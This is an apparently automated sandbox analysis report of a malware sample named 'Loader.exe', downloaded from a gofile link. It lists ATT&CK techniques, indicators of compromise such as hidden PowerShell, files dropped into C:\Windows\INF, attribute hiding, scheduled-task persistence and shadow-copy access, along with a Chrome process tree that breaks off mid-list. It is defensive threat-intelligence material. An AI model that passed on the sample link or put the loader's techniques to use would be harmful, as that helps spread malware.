hxxps://gofile[.]io/d/qmpJPi

Analysis

user interaction
yes
max time kernel
900s
max time network
886s
platform
windows10-ltsc_2021_x64
resource
win10ltsc2021-20260130-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20260130-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
submitted
02/05/2026, 17:07

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
https://gofile.io/d/qmpJPi
Sample260502-vm73ascw2x

Score

8^/10

defense_evasion discovery execution persistence ransomware

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3200	powershell.exe
5892	powershell.exe
6044	powershell.exe

Downloads MZ/PE file 5 IoCs

flow	pid	Process
77	1208	Loader.exe
120	3560	Loader.exe
125	3560	Loader.exe
41	5840	chrome.exe
76	1208	Loader.exe

Executes dropped EXE 3 IoCs

pid	Process
1208	Loader.exe
2212	Loader.exe
3560	Loader.exe

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
12	api.gofile.io
14	api.gofile.io

Drops desktop.ini file(s) 3 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Documents\desktop.ini	firefox.exe
File opened for modification	C:\Users\Public\desktop.ini	firefox.exe
File opened for modification	C:\Users\Public\Documents\desktop.ini	firefox.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Drops file in Windows directory 27 IoCs

description	ioc	Process
File created	C:\Windows\INF\CSGO\bicak.obj	Loader.exe
File created	C:\Windows\INF\CSGO\Marshal.jpg	Loader.exe
File created	C:\Windows\INF\CSGO\Frenzy.png	Loader.exe
File created	C:\Windows\INF\CSGO\Ghost.obj	Loader.exe
File created	C:\Windows\INF\CSGO\Ghost.png	Loader.exe
File created	C:\Windows\INF\CSGO\Judge.png	Loader.exe
File created	C:\Windows\INF\CSGO\Phantom1.obj	Loader.exe
File created	C:\Windows\INF\CSGO\knife.png	Loader.exe
File created	C:\Windows\INF\CSGO\Marshal.obj	Loader.exe
File created	C:\Windows\INF\CSGO\Classic.obj	Loader.exe
File opened for modification	C:\Windows\INF\calerax.dll	attrib.exe
File created	C:\Windows\INF\calerax.dll	Loader.exe
File opened for modification	C:\Windows\INF\CSGO\knife.png	Loader.exe
File opened for modification	C:\Windows\INF\CSGO\Marshal.obj	Loader.exe
File opened for modification	C:\Windows\INF\CSGO\Frenzy.obj	Loader.exe
File created	C:\Windows\INF\calerax.dll	Loader.exe
File created	C:\Windows\INF\CSGO\Classic.png	Loader.exe
File opened for modification	C:\Windows\INF\CSGO\bicak.obj	Loader.exe
File created	C:\Windows\INF\CSGO\Guardian.obj	Loader.exe
File created	C:\Windows\INF\CSGO\Guardian.png	Loader.exe
File created	C:\Windows\INF\CSGO\Judge.obj	Loader.exe
File opened for modification	C:\Windows\SystemTemp	chrome.exe
File created	C:\Windows\INF\CSGO\Frenzy.obj	Loader.exe
File opened for modification	C:\Windows\INF\CSGO\Marshal.jpg	Loader.exe
File opened for modification	C:\Windows\INF\CSGO\Classic.obj	Loader.exe
File opened for modification	C:\Windows\INF\CSGO\Classic.png	Loader.exe
File opened for modification	C:\Windows\SystemTemp	chrome.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
5840	chrome.exe
3492	chrome.exe

Checks processor information in registry 2 TTPs 26 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	chrome.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134222152611228727"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe

Modifies registry class 5 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3431708735-1789331158-1295227519-1000_Classes\Local Settings	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-3431708735-1789331158-1295227519-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-620072444-2846605723-1118207114-1642104096-81213792-2370344205-2712285428	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3431708735-1789331158-1295227519-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-620072444-2846605723-1118207114-1642104096-81213792-2370344205-2712285428\DisplayName = "Chrome Sandbox"	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3431708735-1789331158-1295227519-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-620072444-2846605723-1118207114-1642104096-81213792-2370344205-2712285428\Moniker = "cr.sb.odm3E4D1A088C1F6D498C84F3C86DE73CE49F82A104"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3431708735-1789331158-1295227519-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-620072444-2846605723-1118207114-1642104096-81213792-2370344205-2712285428\Children	chrome.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4472	chrome.exe
4472	chrome.exe
1208	Loader.exe
1208	Loader.exe
6044	powershell.exe
6044	powershell.exe
1208	Loader.exe
1208	Loader.exe
1208	Loader.exe
1208	Loader.exe
1208	Loader.exe
1208	Loader.exe
1208	Loader.exe
1208	Loader.exe
1208	Loader.exe
1208	Loader.exe
1208	Loader.exe
1208	Loader.exe
1208	Loader.exe
1208	Loader.exe
1208	Loader.exe
1208	Loader.exe
1208	Loader.exe
1208	Loader.exe
1208	Loader.exe
1208	Loader.exe
1208	Loader.exe
1208	Loader.exe
1208	Loader.exe
1208	Loader.exe
1208	Loader.exe
1208	Loader.exe
1208	Loader.exe
1208	Loader.exe
1208	Loader.exe
1208	Loader.exe
1208	Loader.exe
1208	Loader.exe
1208	Loader.exe
1208	Loader.exe
1208	Loader.exe
1208	Loader.exe
1208	Loader.exe
1208	Loader.exe
1208	Loader.exe
1208	Loader.exe
1208	Loader.exe
1208	Loader.exe
1208	Loader.exe
1208	Loader.exe
1208	Loader.exe
1208	Loader.exe
1208	Loader.exe
1208	Loader.exe
1208	Loader.exe
1208	Loader.exe
1208	Loader.exe
1208	Loader.exe
1208	Loader.exe
1208	Loader.exe
1208	Loader.exe
1208	Loader.exe
1208	Loader.exe
1208	Loader.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 11 IoCs

pid	Process
4472	chrome.exe
4472	chrome.exe
4472	chrome.exe
4472	chrome.exe
4472	chrome.exe
4472	chrome.exe
1456	chrome.exe
1456	chrome.exe
1456	chrome.exe
1456	chrome.exe
1456	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	4472	chrome.exe
Token: SeCreatePagefilePrivilege	4472	chrome.exe
Token: SeShutdownPrivilege	4472	chrome.exe
Token: SeCreatePagefilePrivilege	4472	chrome.exe
Token: SeShutdownPrivilege	4472	chrome.exe
Token: SeCreatePagefilePrivilege	4472	chrome.exe
Token: SeShutdownPrivilege	4472	chrome.exe
Token: SeCreatePagefilePrivilege	4472	chrome.exe
Token: SeShutdownPrivilege	4472	chrome.exe
Token: SeCreatePagefilePrivilege	4472	chrome.exe
Token: SeShutdownPrivilege	4472	chrome.exe
Token: SeCreatePagefilePrivilege	4472	chrome.exe
Token: SeShutdownPrivilege	4472	chrome.exe
Token: SeCreatePagefilePrivilege	4472	chrome.exe
Token: SeShutdownPrivilege	4472	chrome.exe
Token: SeCreatePagefilePrivilege	4472	chrome.exe
Token: SeShutdownPrivilege	4472	chrome.exe
Token: SeCreatePagefilePrivilege	4472	chrome.exe
Token: SeShutdownPrivilege	4472	chrome.exe
Token: SeCreatePagefilePrivilege	4472	chrome.exe
Token: SeShutdownPrivilege	4472	chrome.exe
Token: SeCreatePagefilePrivilege	4472	chrome.exe
Token: SeShutdownPrivilege	4472	chrome.exe
Token: SeCreatePagefilePrivilege	4472	chrome.exe
Token: SeShutdownPrivilege	4472	chrome.exe
Token: SeCreatePagefilePrivilege	4472	chrome.exe
Token: SeShutdownPrivilege	4472	chrome.exe
Token: SeCreatePagefilePrivilege	4472	chrome.exe
Token: SeShutdownPrivilege	4472	chrome.exe
Token: SeCreatePagefilePrivilege	4472	chrome.exe
Token: SeShutdownPrivilege	4472	chrome.exe
Token: SeCreatePagefilePrivilege	4472	chrome.exe
Token: SeShutdownPrivilege	4472	chrome.exe
Token: SeCreatePagefilePrivilege	4472	chrome.exe
Token: SeShutdownPrivilege	4472	chrome.exe
Token: SeCreatePagefilePrivilege	4472	chrome.exe
Token: SeShutdownPrivilege	4472	chrome.exe
Token: SeCreatePagefilePrivilege	4472	chrome.exe
Token: SeShutdownPrivilege	4472	chrome.exe
Token: SeCreatePagefilePrivilege	4472	chrome.exe
Token: SeShutdownPrivilege	4472	chrome.exe
Token: SeCreatePagefilePrivilege	4472	chrome.exe
Token: SeShutdownPrivilege	4472	chrome.exe
Token: SeCreatePagefilePrivilege	4472	chrome.exe
Token: SeShutdownPrivilege	4472	chrome.exe
Token: SeCreatePagefilePrivilege	4472	chrome.exe
Token: SeShutdownPrivilege	4472	chrome.exe
Token: SeCreatePagefilePrivilege	4472	chrome.exe
Token: SeShutdownPrivilege	4472	chrome.exe
Token: SeCreatePagefilePrivilege	4472	chrome.exe
Token: SeShutdownPrivilege	4472	chrome.exe
Token: SeCreatePagefilePrivilege	4472	chrome.exe
Token: SeShutdownPrivilege	4472	chrome.exe
Token: SeCreatePagefilePrivilege	4472	chrome.exe
Token: SeShutdownPrivilege	4472	chrome.exe
Token: SeCreatePagefilePrivilege	4472	chrome.exe
Token: SeShutdownPrivilege	4472	chrome.exe
Token: SeCreatePagefilePrivilege	4472	chrome.exe
Token: SeShutdownPrivilege	4472	chrome.exe
Token: SeCreatePagefilePrivilege	4472	chrome.exe
Token: SeShutdownPrivilege	4472	chrome.exe
Token: SeCreatePagefilePrivilege	4472	chrome.exe
Token: SeShutdownPrivilege	4472	chrome.exe
Token: SeCreatePagefilePrivilege	4472	chrome.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
4472	chrome.exe
4472	chrome.exe
4472	chrome.exe
4472	chrome.exe
4472	chrome.exe
4472	chrome.exe
4472	chrome.exe
4472	chrome.exe
4472	chrome.exe
4472	chrome.exe
4472	chrome.exe
4472	chrome.exe
4472	chrome.exe
4472	chrome.exe
4472	chrome.exe
4472	chrome.exe
4472	chrome.exe
4472	chrome.exe
4472	chrome.exe
4472	chrome.exe
4472	chrome.exe
4472	chrome.exe
4472	chrome.exe
4472	chrome.exe
4472	chrome.exe
4472	chrome.exe
4472	chrome.exe
4472	chrome.exe
4472	chrome.exe
4472	chrome.exe
4472	chrome.exe
4472	chrome.exe
4472	chrome.exe
4472	chrome.exe
4472	chrome.exe
4472	chrome.exe
4472	chrome.exe
4472	chrome.exe
4472	chrome.exe
4472	chrome.exe
4472	chrome.exe
4472	chrome.exe
4472	chrome.exe
4472	chrome.exe
4472	chrome.exe
4472	chrome.exe
540	firefox.exe
540	firefox.exe
540	firefox.exe
540	firefox.exe
540	firefox.exe
540	firefox.exe
1456	chrome.exe
1456	chrome.exe
1456	chrome.exe
1456	chrome.exe
1456	chrome.exe
1456	chrome.exe
1456	chrome.exe
1456	chrome.exe
1456	chrome.exe
1456	chrome.exe
1456	chrome.exe
1456	chrome.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
4472	chrome.exe
4472	chrome.exe
4472	chrome.exe
4472	chrome.exe
4472	chrome.exe
4472	chrome.exe
4472	chrome.exe
4472	chrome.exe
4472	chrome.exe
4472	chrome.exe
4472	chrome.exe
4472	chrome.exe
4472	chrome.exe
4472	chrome.exe
4472	chrome.exe
4472	chrome.exe
4472	chrome.exe
4472	chrome.exe
4472	chrome.exe
4472	chrome.exe
4472	chrome.exe
4472	chrome.exe
4472	chrome.exe
4472	chrome.exe
4472	chrome.exe
4472	chrome.exe
4472	chrome.exe
4472	chrome.exe
4472	chrome.exe
4472	chrome.exe
4472	chrome.exe
4472	chrome.exe
1456	chrome.exe
1456	chrome.exe
1456	chrome.exe
1456	chrome.exe
1456	chrome.exe
1456	chrome.exe
1456	chrome.exe
1456	chrome.exe
1456	chrome.exe
1456	chrome.exe
1456	chrome.exe
1456	chrome.exe
1456	chrome.exe
1456	chrome.exe
1456	chrome.exe
1456	chrome.exe
1456	chrome.exe
1456	chrome.exe
1456	chrome.exe
1456	chrome.exe
1456	chrome.exe
1456	chrome.exe
1456	chrome.exe
1456	chrome.exe
1456	chrome.exe
1456	chrome.exe
1456	chrome.exe
1456	chrome.exe
1456	chrome.exe
1456	chrome.exe
1456	chrome.exe
1456	chrome.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
540	firefox.exe
540	firefox.exe
540	firefox.exe
540	firefox.exe
540	firefox.exe
540	firefox.exe
540	firefox.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4472 wrote to memory of 4484	4472	chrome.exe	82
PID 4472 wrote to memory of 5840	4472	chrome.exe	83
PID 4472 wrote to memory of 4568	4472	chrome.exe	84
PID 4472 wrote to memory of 4568	4472	chrome.exe	84
PID 4472 wrote to memory of 4748	4472	chrome.exe	86
PID 4472 wrote to memory of 4748	4472	chrome.exe	86
PID 4472 wrote to memory of 4980	4472	chrome.exe	87
PID 4472 wrote to memory of 4696	4472	chrome.exe	88
PID 4472 wrote to memory of 4980	4472	chrome.exe	87
PID 4472 wrote to memory of 4696	4472	chrome.exe	88
PID 4472 wrote to memory of 5448	4472	chrome.exe	89
PID 4472 wrote to memory of 5448	4472	chrome.exe	89
PID 4472 wrote to memory of 4224	4472	chrome.exe	90
PID 4472 wrote to memory of 4224	4472	chrome.exe	90
PID 4472 wrote to memory of 5408	4472	chrome.exe	92
PID 4472 wrote to memory of 5408	4472	chrome.exe	92
PID 4472 wrote to memory of 3560	4472	chrome.exe	93
PID 4472 wrote to memory of 4784	4472	chrome.exe	101
PID 4472 wrote to memory of 4784	4472	chrome.exe	101
PID 4472 wrote to memory of 2656	4472	chrome.exe	104
PID 4472 wrote to memory of 2328	4472	chrome.exe	105
PID 4472 wrote to memory of 1368	4472	chrome.exe	106
PID 4472 wrote to memory of 3412	4472	chrome.exe	107
PID 4472 wrote to memory of 1208	4472	chrome.exe	108
PID 1208 wrote to memory of 3384	1208	Loader.exe	111
PID 3384 wrote to memory of 6064	3384	cmd.exe	112
PID 6064 wrote to memory of 6044	6064	cmd.exe	114
PID 2212 wrote to memory of 5488	2212	Loader.exe	125
PID 5488 wrote to memory of 3640	5488	cmd.exe	126
PID 3640 wrote to memory of 3200	3640	cmd.exe	128
PID 2212 wrote to memory of 3804	2212	Loader.exe	129
PID 3804 wrote to memory of 4268	3804	cmd.exe	130
PID 2212 wrote to memory of 4332	2212	Loader.exe	131
PID 3560 wrote to memory of 4024	3560	Loader.exe	139
PID 4024 wrote to memory of 1448	4024	cmd.exe	140
PID 1448 wrote to memory of 5892	1448	cmd.exe	142
PID 3560 wrote to memory of 2076	3560	Loader.exe	143
PID 2076 wrote to memory of 5644	2076	cmd.exe	144
PID 3560 wrote to memory of 5228	3560	Loader.exe	145
PID 2348 wrote to memory of 540	2348	firefox.exe	149
PID 2348 wrote to memory of 540	2348	firefox.exe	149
PID 540 wrote to memory of 4664	540	firefox.exe	150
PID 540 wrote to memory of 4664	540	firefox.exe	150
PID 540 wrote to memory of 4664	540	firefox.exe	150
PID 540 wrote to memory of 3852	540	firefox.exe	151
PID 540 wrote to memory of 3852	540	firefox.exe	151
PID 540 wrote to memory of 3852	540	firefox.exe	151
PID 540 wrote to memory of 3852	540	firefox.exe	151
PID 540 wrote to memory of 5808	540	firefox.exe	152
PID 540 wrote to memory of 5808	540	firefox.exe	152
PID 540 wrote to memory of 5808	540	firefox.exe	152
PID 540 wrote to memory of 5808	540	firefox.exe	152
PID 540 wrote to memory of 880	540	firefox.exe	153
PID 540 wrote to memory of 880	540	firefox.exe	153
PID 540 wrote to memory of 880	540	firefox.exe	153
PID 540 wrote to memory of 1528	540	firefox.exe	154
PID 540 wrote to memory of 1528	540	firefox.exe	154
PID 540 wrote to memory of 1528	540	firefox.exe	154
PID 540 wrote to memory of 1528	540	firefox.exe	154
PID 540 wrote to memory of 5600	540	firefox.exe	155
PID 540 wrote to memory of 5600	540	firefox.exe	155
PID 540 wrote to memory of 5600	540	firefox.exe	155
PID 540 wrote to memory of 5600	540	firefox.exe	155
PID 540 wrote to memory of 5180	540	firefox.exe	156

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

Views/modifies file attributes 1 TTPs 2 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4268	attrib.exe
5644	attrib.exe

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://gofile.io/d/qmpJPi
1⤵
- Drops file in Windows directory
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4472
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x21c,0x220,0x224,0x1f8,0x228,0x7ffe07f2c728,0x7ffe07f2c734,0x7ffe07f2c740
  2⤵
  PID:4484
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2040,i,4621251997846138491,7196968526876945358,524288 --field-trial-handle=2160,i,5541630858974225077,7991633232195482767,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2188 /prefetch:3
  2⤵
  - Downloads MZ/PE file
  - System Time Discovery
  PID:5840
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1732,i,10295410101917598907,5746213807296108344,262144 --field-trial-handle=2160,i,5541630858974225077,7991633232195482767,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2156 /prefetch:2
  2⤵
  PID:4568
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2424,i,6333102141292286723,954448864922410018,524288 --field-trial-handle=2160,i,5541630858974225077,7991633232195482767,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2584 /prefetch:8
  2⤵
  PID:4748
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3168,i,14905844873151121142,5567706237501475662,2097152 --field-trial-handle=2160,i,5541630858974225077,7991633232195482767,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3228 /prefetch:1
  2⤵
  PID:4980
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3172,i,3438246361174658470,18005184881650178453,2097152 --field-trial-handle=2160,i,5541630858974225077,7991633232195482767,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3260 /prefetch:1
  2⤵
  PID:4696
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4236,i,3480811035473846741,3576333715586676441,2097152 --field-trial-handle=2160,i,5541630858974225077,7991633232195482767,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=4252 /prefetch:2
  2⤵
  PID:5448
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4232,i,1078765656952557869,14706876633056960047,2097152 --field-trial-handle=2160,i,5541630858974225077,7991633232195482767,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=4720 /prefetch:1
  2⤵
  PID:4224
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=3264,i,11959786975959847778,16710028291560223191,2097152 --field-trial-handle=2160,i,5541630858974225077,7991633232195482767,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3268 /prefetch:1
  2⤵
  PID:5408
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5432,i,4029819635909389427,15961244058978836224,524288 --field-trial-handle=2160,i,5541630858974225077,7991633232195482767,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5360 /prefetch:8
  2⤵
  PID:3560
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5772,i,10869752793623199691,5262920078805522717,2097152 --field-trial-handle=2160,i,5541630858974225077,7991633232195482767,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5768 /prefetch:1
  2⤵
  PID:4784
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5528,i,8478062714620397397,14813254826356462396,524288 --field-trial-handle=2160,i,5541630858974225077,7991633232195482767,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3216 /prefetch:8
  2⤵
  PID:2656
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6128,i,15037672923716153895,16578226416002347501,524288 --field-trial-handle=2160,i,5541630858974225077,7991633232195482767,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=6112 /prefetch:8
  2⤵
  PID:2328
- C:\Program Files\Google\Chrome\Application\chrome.exe
